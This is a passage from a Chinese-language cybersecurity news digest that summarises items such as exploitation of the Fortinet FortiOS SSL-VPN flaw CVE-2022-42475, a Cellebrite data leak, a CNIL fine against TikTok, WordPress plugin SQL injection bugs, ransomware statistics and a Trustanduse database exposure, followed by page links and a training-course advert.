https://www.securityweek.com/fortinet-says-recently-patched-vulnerability-exploited-hack-governments Fortinet 本周报告称,最近修补的漏洞 CVE-2022-42475 已被用于针对政府组织的高度针对性攻击。该安全漏洞影响 FortiOS SSL-VPN,它可以允许未经身份验证的远程黑客使用特制请求执行任意代码或命令。该漏洞的存在于 2022 年 12 月 12 日被披露,当时 Fortinet 警告说它知道野外利用。该公司当时宣布了补丁和共享妥协指标 (IoC)。
5、数字情报公司 Cellebrite 被盗 1.7 TB 数据在线泄露
https://securityaffairs.com/140838/data-breach/cellebrite-software-leaked-online.html 以色列移动取证公司 https://securityaffairs.co/wordpress/69599/hacking/cellebrite-technology-unlock-iphone.html 是数字取证领域的全球领先公司之一,它与全球执法和情报机构合作。这家以色列公司 和另一家瑞典取证公司 MSAB 的数据已被 Enlace Hacktivist团体在线泄露。
6、法国 CNIL 以违反 cookie 同意规则对 Tiktok 罚款 540 万美元
https://securityaffairs.com/140786/digital-id/cnil-fined-tiktok.html 法国数据保护监管机构以违反 cookie 同意规则对短视频平台 TikTok 处以 500 万欧元的罚款。2022 年 12 月 29 日,CNIL 对社交网络 TIKTOK 处以总额 500 万欧元的制裁,原因有二:“tiktok.com”的用户无法像接受 cookie 那样轻易地拒绝 cookie,而且他们无法得到充分的通知不同 cookie 的用途。
7、三个流行的 WordPress 插件存在严重注入漏洞
https://www.bleepingcomputer.com/news/security/poc-exploits-released-for-critical-bugs-in-popular-wordpress-plugins 三个流行的 WordPress 插件有数以万计的活动安装,容易受到高严重性或严重 SQL 注入漏洞的攻击,PoC现已公开。第一个被发现易受 SQL 注入攻击的插件是“Paid Memberships Pro”,这是一个在超过 100,000 个网站中使用的会员和订阅管理工具。第二个易受 SQL 注入攻击的 WordPress 附加组件是“ Easy Digital
8、数据显示2022年四分之一的英国中小企业遭受勒索软件攻击
https://www.infosecurity-magazine.com/news/quarter-of-uk-smbs-hit-ransomware/ 根据Avast的最新数据,在过去的一年里,超过四分之一(26%)的英国中小企业成为勒索软件的目标,其中47%的受害者向勒索者支付了赎金。早在10月份,这家安全供应商就调查了来自英国中小企业的1000名IT决策者,以更好地了解过去12个月的风险状况。根据Avast的数据,被勒索软件攻击的人中有41%丢失了数据,34%失去了设备访问权限。
9、数据显示非法加密货币交易量创历史新高
https://www.infosecurity-magazine.com/news/illegal-crypto-transaction-volumes/ 区块链分析公司Chainalysis的数据显示,去年使用加密货币进行的非法交易价值超过200亿美元,创下历史新高,随着更多非法活动被发现,这一数字可能还会增长。该公司声称,去年通过区块链流动的非法资金比以往任何一年都多,2021年的数字为180亿美元。然而,这些资金中的大量(44%)与受制裁的实体有关,特别是俄罗斯加密货币交易所Garantex,该交易所于2022年4月受到美国财政部外国资产控制办公室(OFAC)的制裁。
10、社交市场Trustanduse暴露了约43.9万名用户的数据
https://securityaffairs.com/140678/data-breach/trustanduse-data-leak.html 近日一研究团队发现了一个可公开访问的数据库,该数据库存储了高达855GB的敏感用户和商业数据,属于社交市场Trustanduse.com。泄露的数据库于6月21日首次被发现,并且至少六个月内仍可能被攻击者访问。Trustanduse.com是一个供消费者评价产品、服务、专业人士和商店,以及获得优惠和折扣的平台。该公司成立于2016年,总部位于雅典。被发现的数据库包括用户名、个人全名、Facebook ID、电话号码和使用BCrypt算法散列的密码
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

